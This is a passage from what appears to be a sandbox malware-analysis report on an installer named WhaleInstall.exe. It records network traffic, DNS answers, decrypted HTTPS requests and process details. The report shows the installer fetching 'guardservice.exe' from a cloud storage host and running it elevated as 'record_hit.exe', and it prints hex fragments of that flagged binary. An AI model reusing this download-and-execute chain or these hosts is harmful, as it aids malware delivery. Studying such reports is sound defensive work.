Aug 31, 2024 21:28:57.100285053 CEST	443	49706	159.75.57.69	192.168.2.5
Aug 31, 2024 21:28:57.100303888 CEST	49706	443	192.168.2.5	159.75.57.69
Aug 31, 2024 21:28:57.100338936 CEST	49706	443	192.168.2.5	159.75.57.69

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 21:28:53.693619967 CEST	51601	53	192.168.2.5	1.1.1.1
Aug 31, 2024 21:28:53.718673944 CEST	53	51601	1.1.1.1	192.168.2.5
Aug 31, 2024 21:28:54.501456976 CEST	62892	53	192.168.2.5	1.1.1.1
Aug 31, 2024 21:28:54.806206942 CEST	53	62892	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 31, 2024 21:28:53.693619967 CEST	192.168.2.5	1.1.1.1	0x3a8f	Standard query (0)	www.kenesrakishevinfo.com	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:28:54.501456976 CEST	192.168.2.5	1.1.1.1	0xbb94	Standard query (0)	sgz-1302338321.cos.ap-guangzhou.myqcloud.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 31, 2024 21:28:53.718673944 CEST	1.1.1.1	192.168.2.5	0x3a8f	No error (0)	www.kenesrakishevinfo.com	ext-sq.squarespace.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 31, 2024 21:28:53.718673944 CEST	1.1.1.1	192.168.2.5	0x3a8f	No error (0)	ext-sq.squarespace.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:28:53.718673944 CEST	1.1.1.1	192.168.2.5	0x3a8f	No error (0)	ext-sq.squarespace.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:28:53.718673944 CEST	1.1.1.1	192.168.2.5	0x3a8f	No error (0)	ext-sq.squarespace.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:28:53.718673944 CEST	1.1.1.1	192.168.2.5	0x3a8f	No error (0)	ext-sq.squarespace.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:28:54.806206942 CEST	1.1.1.1	192.168.2.5	0xbb94	No error (0)	sgz-1302338321.cos.ap-guangzhou.myqcloud.com	gz.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 31, 2024 21:28:54.806206942 CEST	1.1.1.1	192.168.2.5	0xbb94	No error (0)	gz.file.myqcloud.com		159.75.57.69	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:28:54.806206942 CEST	1.1.1.1	192.168.2.5	0xbb94	No error (0)	gz.file.myqcloud.com		159.75.57.35	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

www.kenesrakishevinfo.com

sgz-1302338321.cos.ap-guangzhou.myqcloud.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	198.185.159.144	443	3608	C:\Users\user\Desktop\WhaleInstall.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 19:28:54 UTC	369	OUT	POST /api/census/RecordHit HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.9 Origin: https://www.kenesrakishevinfo.com Referer: https://www.kenesrakishevinfo.com/ User-Agent: UserAgent Host: www.kenesrakishevinfo.com Content-Length: 819 Cache-Control: no-cache
2024-08-31 19:28:54 UTC	819	OUT	Data Raw: 65 76 65 6e 74 3d 31 26 64 61 74 61 3d 25 37 42 25 32 32 6c 6f 63 61 6c 53 74 6f 72 61 67 65 53 75 70 70 6f 72 74 65 64 25 32 32 25 33 41 74 72 75 65 25 32 43 25 32 32 71 75 65 72 79 53 74 72 69 6e 67 25 32 32 25 33 41 25 32 32 25 32 32 25 32 43 25 32 32 72 65 66 65 72 72 65 72 25 32 32 25 33 41 25 32 32 25 32 32 25 32 43 25 32 32 77 65 62 73 69 74 65 49 64 25 32 32 25 33 41 25 32 32 35 66 32 33 33 36 31 39 38 34 65 64 65 64 37 63 31 37 62 33 39 32 65 33 25 32 32 25 32 43 25 32 32 74 65 6d 70 6c 61 74 65 49 64 25 32 32 25 33 41 25 32 32 35 63 35 61 35 31 39 37 37 31 63 31 30 62 61 33 34 37 30 64 38 31 30 31 25 32 32 25 32 43 25 32 32 77 65 62 73 69 74 65 5f 6c 6f 63 61 6c 65 25 32 32 25 33 41 25 32 32 65 6e 2d 55 53 25 32 32 25 32 43 25 32 32 75 73 65 72 Data Ascii: event=1&data=%7B%22localStorageSupported%22%3Atrue%2C%22queryString%22%3A%22%22%2C%22referrer%22%3A%22%22%2C%22websiteId%22%3A%225f23361984eded7c17b392e3%22%2C%22templateId%22%3A%225c5a519771c10ba3470d8101%22%2C%22website_locale%22%3A%22en-US%22%2C%22user
2024-08-31 19:28:54 UTC	400	IN	HTTP/1.1 200 OK Content-Type: application/json;charset=utf-8 Date: Sat, 31 Aug 2024 19:28:54 GMT Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Squarespace Set-Cookie: crumb=BQaCSRoaUYHUNzc3MzdlNWExMDU4YjQ4ZjhmNWQ4NTNlNWJlZTE0; Path=/; Secure Strict-Transport-Security: max-age=15552000 X-Content-Type-Options: nosniff X-Contextid: 9OEKw9BZ/y8RhAp1w Content-Length: 17 Connection: close
2024-08-31 19:28:54 UTC	17	IN	Data Raw: 7b 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 7d Data Ascii: {"success": true}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	159.75.57.69	443	3608	C:\Users\user\Desktop\WhaleInstall.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 19:28:56 UTC	144	OUT	GET /store_app/guardservice.exe HTTP/1.1 User-Agent: UserAgent Host: sgz-1302338321.cos.ap-guangzhou.myqcloud.com Cache-Control: no-cache
2024-08-31 19:28:56 UTC	461	IN	HTTP/1.1 200 OK Content-Type: application/x-msdos-program Content-Length: 307200 Connection: close Accept-Ranges: bytes Date: Sat, 31 Aug 2024 19:28:56 GMT ETag: "2d5f648d414ed7303d00d43acbf4f315" Last-Modified: Wed, 21 Aug 2024 03:37:51 GMT Server: tencent-cos x-cos-hash-crc64ecma: 4140194716127837763 x-cos-request-id: NjZkMzZlZjhfNjU4ZTFiMDlfNTQ1Yl81ZmI3NmQ= x-cos-server-side-encryption: AES256 x-cos-version-id: MTg0NDUwMTk4NjIyMzgzMTcwOTQ
2024-08-31 19:28:56 UTC	7743	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 87 c3 6e 60 c3 a2 00 33 c3 a2 00 33 c3 a2 00 33 ac bd 0b 33 ca a2 00 33 ac bd 0a 33 c5 a2 00 33 40 aa 5d 33 c1 a2 00 33 a1 bd 13 33 d5 a2 00 33 40 be 0e 33 dc a2 00 33 f5 84 0a 33 43 a2 00 33 f5 84 0b 33 f8 a2 00 33 b8 be 0c 33 c1 a2 00 33 2b bd 04 33 c1 a2 00 33 c3 a2 01 33 bb a0 00 33 3c 82 04 33 d0 a2 00 33 c3 a2 00 33 db a2 00 33 04 a4 06 33 c2 a2 00 33 2b bd 0b 33 d1 a2 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$n`3333333@]3333@333C33333+3333<333333+3
2024-08-31 19:28:56 UTC	16368	IN	Data Raw: 01 00 83 c4 1c 68 01 03 00 80 6a 00 50 68 01 00 00 00 bb 68 01 00 00 e8 9d 77 01 00 83 c4 10 89 45 c8 68 f5 f7 42 00 ff 75 c8 b9 02 00 00 00 e8 15 f2 ff ff 83 c4 08 89 45 c4 8b 5d c8 85 db 74 09 53 e8 f4 6c 01 00 83 c4 04 8b 45 c4 50 8b 5d f0 85 db 74 09 53 e8 e0 6c 01 00 83 c4 04 58 89 45 f0 68 01 03 00 80 6a 00 68 05 00 00 00 68 03 00 00 80 ff 75 fc ff 75 f8 68 02 00 00 00 bb ec 01 00 00 e8 49 77 01 00 83 c4 1c 68 01 03 00 80 6a 00 50 68 01 00 00 00 bb 68 01 00 00 e8 17 77 01 00 83 c4 10 89 45 c8 68 f8 f7 42 00 ff 75 c8 b9 02 00 00 00 e8 8f f1 ff ff 83 c4 08 89 45 c4 8b 5d c8 85 db 74 09 53 e8 6e 6c 01 00 83 c4 04 8b 45 c4 50 8b 5d ec 85 db 74 09 53 e8 5a 6c 01 00 83 c4 04 58 89 45 ec 68 01 03 00 80 6a 00 68 06 00 00 00 68 03 00 00 80 ff 75 fc ff 75 f8 Data Ascii: hjPhhwEhBuE]tSlEP]tSlXEhjhhuuhIwhjPhhwEhBuE]tSnlEP]tSZlXEhjhhuu
2024-08-31 19:28:56 UTC	8184	IN	Data Raw: 2d 01 00 83 c4 04 58 8b 5d 24 89 03 68 30 00 01 00 6a 00 ff 75 f8 68 01 00 00 00 bb 24 09 00 00 e8 10 38 01 00 83 c4 10 e8 ea 32 00 00 8b 45 e4 85 c0 74 13 50 8b 40 04 83 c0 08 50 e8 04 2d 01 00 59 5e 8b f8 f3 a4 e9 00 00 00 00 50 8b 5d fc 85 db 74 09 53 e8 f1 2c 01 00 83 c4 04 8b 5d f8 53 68 30 00 01 00 6a 00 53 6a 01 bb 24 09 00 00 e8 c0 37 01 00 83 c4 10 e8 ce 2c 01 00 83 c4 04 8b 5d f4 85 db 74 09 53 e8 be 2c 01 00 83 c4 04 8b 5d f0 53 8b 0b 83 c3 04 85 c9 74 11 8b 03 83 c3 04 49 74 05 0f af 03 eb f5 8b c8 85 c9 0f 84 19 00 00 00 51 8b 03 85 c0 74 0b 53 50 e8 89 2c 01 00 83 c4 04 5b 83 c3 04 59 49 75 e7 e8 79 2c 01 00 83 c4 04 8b 5d e8 53 68 31 00 01 00 6a 00 53 6a 01 bb 84 09 00 00 e8 8a 37 01 00 83 c4 10 e8 56 2c 01 00 83 c4 04 8b 5d e4 85 db 74 09 Data Ascii: -X]$h0juh$82EtP@P-Y^P]tS,]Sh0jSj$7,]tS,]StItQtSP,[YIuy,]Sh1jSj7V,]t
2024-08-31 19:28:56 UTC	8184	IN	Data Raw: 45 f8 8b f8 be 2b f8 42 00 ad ab ad ab c7 45 f4 00 00 00 00 68 04 00 00 80 6a 00 8b 5d 08 8b 03 85 c0 75 05 b8 80 f5 42 00 50 68 01 00 00 00 bb 74 01 00 00 e8 58 18 01 00 83 c4 10 89 45 f0 8b 45 f0 50 8b 5d 08 8b 1b 85 db 74 09 53 e8 01 0d 01 00 83 c4 04 58 8b 5d 08 89 03 68 01 03 00 80 6a 00 68 01 00 00 00 68 04 00 00 80 6a 00 8b 5d 08 8b 03 85 c0 75 05 b8 80 f5 42 00 50 68 02 00 00 00 bb 38 01 00 00 e8 0b 18 01 00 83 c4 1c 89 45 f0 68 a2 fb 42 00 ff 75 f0 e8 1e 92 ff ff 83 c4 08 83 f8 00 b8 00 00 00 00 0f 94 c0 89 45 ec 8b 5d f0 85 db 74 09 53 e8 96 0c 01 00 83 c4 04 83 7d ec 00 0f 84 65 00 00 00 68 01 01 00 80 6a 00 68 20 00 00 00 68 01 00 00 00 bb 40 01 00 00 e8 f4 17 01 00 83 c4 10 89 45 f0 ff 75 f0 8b 5d 08 ff 33 b9 02 00 00 00 e8 64 91 ff ff 83 c4 Data Ascii: E+BEhj]uBPhtXEEP]tSX]hjhhj]uBPh8EhBuE]tS}ehjh h@Eu]3d
2024-08-31 19:28:56 UTC	8184	IN	Data Raw: 53 83 c3 24 53 8b 1b 53 e8 4e ed 00 00 83 c4 04 5b e8 45 ed 00 00 83 c4 04 58 8b e5 5d c2 0c 00 55 8b ec 81 ec 08 00 00 00 8b 5d 08 8b 1b 83 c3 04 89 5d fc 89 65 f8 ff 75 fc 68 00 00 00 00 68 01 00 00 00 b8 18 00 00 00 e8 83 ee 00 00 39 65 f8 74 17 68 00 00 00 00 68 b5 36 01 04 68 06 00 00 00 e8 00 ed 00 00 83 c4 0c 8b 5d 08 8b 1b 83 c3 04 89 5d fc 89 65 f8 68 fa ff ff ff 68 03 00 00 00 68 c8 00 00 00 8b 5d fc ff 33 b8 19 00 00 00 e8 41 ee 00 00 39 65 f8 74 17 68 31 00 00 00 68 b5 36 01 04 68 06 00 00 00 e8 b8 ec 00 00 83 c4 0c 8b e5 5d c2 04 00 55 8b ec e8 13 00 00 00 e8 b6 02 00 00 b8 00 00 00 00 e9 00 00 00 00 8b e5 5d c3 55 8b ec 81 ec 10 00 00 00 c7 45 fc 00 00 00 00 c7 45 f8 00 00 00 00 c7 45 f4 00 00 00 00 6a 01 8d 45 f4 50 6a 01 8d 45 f8 50 6a 01 Data Ascii: S$SSN[EX]U]]euhh9ethh6h]]ehhh]3A9eth1h6h]U]UEEEjEPjEPj
2024-08-31 19:28:56 UTC	8184	IN	Data Raw: 89 65 e0 68 00 00 00 80 68 00 00 00 00 68 00 00 00 00 b8 1d 00 00 00 e8 db ce 00 00 39 65 e0 74 17 68 19 00 00 00 68 75 39 01 04 68 06 00 00 00 e8 3a cd 00 00 83 c4 0c 89 45 fc 83 7d fc 00 0f 84 ee 01 00 00 89 65 e0 68 01 00 00 00 8b 5d 0c ff 33 ff 75 fc b8 1e 00 00 00 e8 9e ce 00 00 39 65 e0 74 17 68 93 00 00 00 68 75 39 01 04 68 06 00 00 00 e8 f7 cc 00 00 83 c4 0c 89 45 f8 83 7d f8 00 0f 84 7f 01 00 00 89 65 e0 8d 45 f4 50 68 00 00 00 00 68 00 00 00 00 ff 75 f8 b8 21 00 00 00 e8 69 ce 00 00 39 65 e0 74 17 68 f0 00 00 00 68 75 39 01 04 68 06 00 00 00 e8 b0 cc 00 00 83 c4 0c 89 65 e0 ff 75 f4 68 40 00 00 00 b8 22 00 00 00 e8 3e ce 00 00 39 65 e0 74 17 68 3c 01 00 00 68 75 39 01 04 68 06 00 00 00 e8 7f cc 00 00 83 c4 0c 89 45 f0 89 65 e0 8d 45 f4 50 ff 75 Data Ascii: ehhh9ethhu9h:E}eh]3u9ethhu9hE}eEPhhu!i9ethhu9heuh@">9eth<hu9hEeEPu
2024-08-31 19:28:56 UTC	8184	IN	Data Raw: 03 eb f5 8b c8 85 c9 0f 84 a2 00 00 00 51 53 8b 1b 53 53 8b 1b 85 db 74 09 53 e8 4c ad 00 00 83 c4 04 5b 83 c3 04 53 8b 1b 85 db 74 09 53 e8 38 ad 00 00 83 c4 04 5b 83 c3 04 53 8b 1b 85 db 74 09 53 e8 24 ad 00 00 83 c4 04 5b 83 c3 08 53 8b 1b 85 db 74 09 53 e8 10 ad 00 00 83 c4 04 5b 83 c3 04 53 8b 1b 85 db 74 09 53 e8 fc ac 00 00 83 c4 04 5b 83 c3 04 53 8b 1b 85 db 74 09 53 e8 e8 ac 00 00 83 c4 04 5b 83 c3 04 53 8b 1b 85 db 74 09 53 e8 d4 ac 00 00 83 c4 04 5b e8 cb ac 00 00 83 c4 04 5b 83 c3 04 59 49 0f 85 5e ff ff ff e8 b7 ac 00 00 83 c4 04 b8 2b f8 42 00 89 45 fc 8d 45 fc 50 ff 75 10 8d 45 f8 50 8b 04 24 8b 00 8b 00 ff 50 5c 8b 5d fc e8 8d 68 ff ff 33 c9 50 8d 45 f4 8b d8 58 41 51 53 89 0b 50 3b c8 0f 8f 54 02 00 00 8b 5d fc e8 87 68 ff ff 53 51 8b 45 Data Ascii: QSSStSL[StS8[StS$[StS[StS[StS[StS[[YI^+BEEPuEP$P\]h3PEXAQSP;T]hSQE
2024-08-31 19:28:56 UTC	8184	IN	Data Raw: 68 13 06 00 00 68 7b 39 01 04 68 04 00 00 00 e8 6b 8d 00 00 83 c4 0c 59 5b 3b c1 7c 17 68 13 06 00 00 68 7b 39 01 04 68 01 00 00 00 e8 4e 8d 00 00 83 c4 0c c1 e0 02 03 d8 8b 1b 83 c3 08 89 5d b8 8b 5d dc 89 5d b4 68 01 03 00 80 6a 00 8b 5d b4 ff 33 68 01 00 00 00 bb 0c 09 00 00 e8 bb 98 00 00 83 c4 10 89 45 b0 8d 45 b0 50 ff 75 08 8b 04 24 8b 00 8b 00 ff 50 10 89 45 ac 8b 5d b0 85 db 74 09 53 e8 ea 8c 00 00 83 c4 04 8b 45 ac 50 8b 5d b8 8b 1b 85 db 74 09 53 e8 d4 8c 00 00 83 c4 04 58 8b 5d b8 89 03 8b 5d 10 8b 1b e8 d8 48 ff ff 53 51 db 45 e4 dd 5d c4 dd 45 c4 dc 05 7b f9 42 00 dd 5d bc dd 45 bc e8 84 32 ff ff 48 79 17 68 90 06 00 00 68 7b 39 01 04 68 04 00 00 00 e8 9a 8c 00 00 83 c4 0c 59 5b 3b c1 7c 17 68 90 06 00 00 68 7b 39 01 04 68 01 00 00 00 e8 7d Data Ascii: hh{9hkY[;\|hh{9hN]]]hj]3hEEPu$PE]tSEP]tSX]]HSQE]E{B]E2Hyhh{9hY[;\|hh{9h}
2024-08-31 19:28:56 UTC	8184	IN	Data Raw: 66 89 45 fc 59 e9 14 f9 ff ff 83 c4 04 89 65 f0 ff 75 f8 b8 41 00 00 00 e8 b8 6f 00 00 39 65 f0 74 17 68 9e 06 00 00 68 bd 36 01 04 68 06 00 00 00 e8 51 6d 00 00 83 c4 0c 66 89 45 fc 83 7d 14 00 b8 00 00 00 00 0f 94 c0 89 45 ec 83 7d ec 00 0f 85 2f 00 00 00 89 65 f0 ff 75 10 ff 75 f8 b8 3e 00 00 00 e8 5a 6f 00 00 39 65 f0 74 17 68 fc 06 00 00 68 bd 36 01 04 68 06 00 00 00 e8 05 6d 00 00 83 c4 0c 89 65 f0 ff 75 f8 68 03 00 00 00 b8 3c 00 00 00 e8 1d 6f 00 00 39 65 f0 74 17 68 1f 07 00 00 68 bd 36 01 04 68 06 00 00 00 e8 d4 6c 00 00 83 c4 0c 66 83 7d fc 00 b8 00 00 00 00 0f 94 c0 e9 00 00 00 00 50 8b 5d f4 53 e8 a9 6c 00 00 83 c4 04 58 8b e5 5d c2 38 00 55 8b ec 81 ec 14 00 00 00 c7 45 fc 00 00 00 00 c7 45 f8 00 00 00 00 8b 5d 08 8b 1b 83 c3 08 89 5d f4 89 Data Ascii: fEYeuAo9ethh6hQmfE}E}/euu>Zo9ethh6hmeuh<o9ethh6hlf}P]SlX]8UEE]]
2024-08-31 19:28:56 UTC	8184	IN	Data Raw: 00 00 00 51 8b 03 85 c0 74 0b 53 50 e8 72 4d 00 00 83 c4 04 5b 83 c3 04 59 49 75 e7 e8 62 4d 00 00 83 c4 04 58 8b 5d 0c 89 03 8b 5d 0c 8b 1b e8 4d 09 ff ff e9 00 00 00 00 50 8b 5d fc 85 db 74 09 53 e8 3c 4d 00 00 83 c4 04 8b 5d f8 85 db 74 09 53 e8 2c 4d 00 00 83 c4 04 58 8b e5 5d c2 08 00 55 8b ec 81 ec 1c 00 00 00 c7 45 fc 00 00 00 00 c7 45 f8 00 00 00 00 8b 5d 14 ff 33 68 fd fe 42 00 8b 5d 10 ff 33 68 03 ff 42 00 8b 5d 0c ff 33 68 09 ff 42 00 b9 06 00 00 00 e8 f1 d1 fe ff 83 c4 18 89 45 f4 8d 45 f4 50 ff 75 08 8b 04 24 8b 00 8b 00 ff 90 ac 00 00 00 89 45 f0 8b 5d f4 85 db 74 09 53 e8 b9 4c 00 00 83 c4 04 8b 45 f0 50 8b 5d fc 85 db 74 09 53 e8 a5 4c 00 00 83 c4 04 58 89 45 fc 68 80 f5 42 00 ff 75 fc e8 fb d1 fe ff 83 c4 08 83 f8 00 0f 85 0a 00 00 00 b8 Data Ascii: QtSPrM[YIubMX]]MP]tS<M]tS,MX]UEE]3hB]3hB]3hBEEPu$E]tSLEP]tSLXEhBu

Target ID:	0
Start time:	15:28:52
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\WhaleInstall.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\WhaleInstall.exe"
Imagebase:	0x7ff772a60000
File size:	3'441'498 bytes
MD5 hash:	5A5561786E2E4C8C92CAD6456FC31C95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	15:28:52
Start date:	31/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	15:28:56
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\record_hit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\record_hit.exe"
Imagebase:	0x400000
File size:	307'200 bytes
MD5 hash:	2D5F648D414ED7303D00D43ACBF4F315
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs Detection: 64%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	84.8%
Total number of Nodes:	66
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF772A6216A Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 197
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET ref: 00007FF772A621B5

Strings

UserAgent, xrefs: 00007FF772A621A4
Server response: , xrefs: 00007FF772A62493
Content-Type: application/x-www-form-urlencoded; charset=utf-8Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.9Origin: https://www.kenesrakishevinfo.comReferer: https://www.kenesrakishevinfo.com/, xrefs: 00007FF772A623B5
POST, xrefs: 00007FF772A62361

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: InternetOpen
String ID: Content-Type: application/x-www-form-urlencoded; charset=utf-8Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.9Origin: https://www.kenesrakishevinfo.comReferer: https://www.kenesrakishevinfo.com/$POST$Server response: $UserAgent
API String ID: 2038078732-842188533
Opcode ID: ee6b5be09b198fd235390060b8ac8bfa7aeaa5eb6b4e52163e21e2bd388c84ba
Instruction ID: b9ecd9c066b73eeb995b6059c3d2724f473c450dd3937a947c570cf0da9f9699
Opcode Fuzzy Hash: ee6b5be09b198fd235390060b8ac8bfa7aeaa5eb6b4e52163e21e2bd388c84ba
Instruction Fuzzy Hash: 03A15D2263ABC589EB70AF26E8907E963A0F748788F400035DE5D4BB65EF7DD240CB10

Function 00007FF772A62793 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF772B10B00: strlen.MSVCRT ref: 00007FF772B10B1B

Part of subcall function 00007FF772A6216A: InternetOpenA.WININET ref: 00007FF772A621B5

ShellExecuteExW.SHELL32 ref: 00007FF772A62A7F

Part of subcall function 00007FF772A90130: strlen.MSVCRT ref: 00007FF772A90143
Part of subcall function 00007FF772A90130: memchr.MSVCRT ref: 00007FF772A901B7
Part of subcall function 00007FF772A90130: memcmp.MSVCRT ref: 00007FF772A901CD

Strings

runas, xrefs: 00007FF772A62A50
success, xrefs: 00007FF772A628E2
https, xrefs: 00007FF772A6280B
://, xrefs: 00007FF772A62919
sgz-1302338321.cos.ap-guangzhou.myqcloud.com, xrefs: 00007FF772A627CB
https://www.kenesrakishevinfo.com/api/census/RecordHit, xrefs: 00007FF772A6288B
record_hit.exe, xrefs: 00007FF772A629A1
/store_app/guardservice.exe, xrefs: 00007FF772A6284B

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strlen$ExecuteInternetOpenShellmemchrmemcmp
String ID: /store_app/guardservice.exe$://$https$https://www.kenesrakishevinfo.com/api/census/RecordHit$record_hit.exe$runas$sgz-1302338321.cos.ap-guangzhou.myqcloud.com$success
API String ID: 684247756-4200751716
Opcode ID: 1f24570c459e8e226fdba8111e7852e10e5320053cffd9732f092ccebd2be7aa
Instruction ID: 0e043f9efbde8e1b149de4f49a28ca4c89e4fc55e947be18a6a50d1cc57801a1
Opcode Fuzzy Hash: 1f24570c459e8e226fdba8111e7852e10e5320053cffd9732f092ccebd2be7aa
Instruction Fuzzy Hash: 51913076B35B8698DF24EF61D8513E963A5EB45788FC01035DE2C0B7AAFE68D205C720

Function 00007FF772A61180 Relevance: 10.6, APIs: 7, Instructions: 146
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF772A61406), ref: 00007FF772A611BE
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF772A6122F
malloc.MSVCRT(?,?,?,00007FF772A61406), ref: 00007FF772A61263
strlen.MSVCRT ref: 00007FF772A61284
malloc.MSVCRT(?,?,?,00007FF772A61406), ref: 00007FF772A61290
memcpy.MSVCRT ref: 00007FF772A612A8

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandledmemcpystrlen
String ID:
API String ID: 3806033187-0
Opcode ID: 7e1be9343554e1483456313e5e576b41bdce90765ce29ae5c49c475ac7dd9655
Instruction ID: 8459065309e0368282e1803b741c99ad246ea11991523655e26f7cc8ba557dc9
Opcode Fuzzy Hash: 7e1be9343554e1483456313e5e576b41bdce90765ce29ae5c49c475ac7dd9655
Instruction Fuzzy Hash: 2F516933E3960285EB10BB15E850A78A7A1BF44788F855030CE3D477A2EFBCE440CB28

Function 00007FF772A7AB40 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 113
threadlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF772A7AB60
